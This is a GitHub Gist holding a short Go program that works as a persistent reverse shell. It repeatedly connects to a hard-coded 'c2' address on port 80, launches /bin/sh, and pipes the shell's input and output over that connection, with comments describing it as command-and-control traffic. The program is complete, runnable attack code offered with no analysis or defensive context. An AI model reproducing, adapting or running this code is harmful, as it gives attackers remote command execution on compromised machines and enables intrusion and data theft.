Created
May 12, 2018 02:54
-
-
Save picatz/6438e0cef5c62348202686942c52596a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import "os/exec" | |
import "net" | |
func main() { | |
// require metadata | |
c2IP := "192.168.1.1" | |
port := "80" | |
for { | |
// create plaintext tcp connection to c2 | |
c2, err := net.Dial("tcp", c2IP + ":" + port) | |
if err != nil { | |
continue // let's try again! | |
} | |
// spawn a system shell | |
shell := exec.Command("/bin/sh") | |
// pass the shell's acitivity to the c2 | |
shell.Stdin = c2 | |
shell.Stdout = c2 | |
shell.Stderr = c2 | |
// let'r run! | |
shell.Run() | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment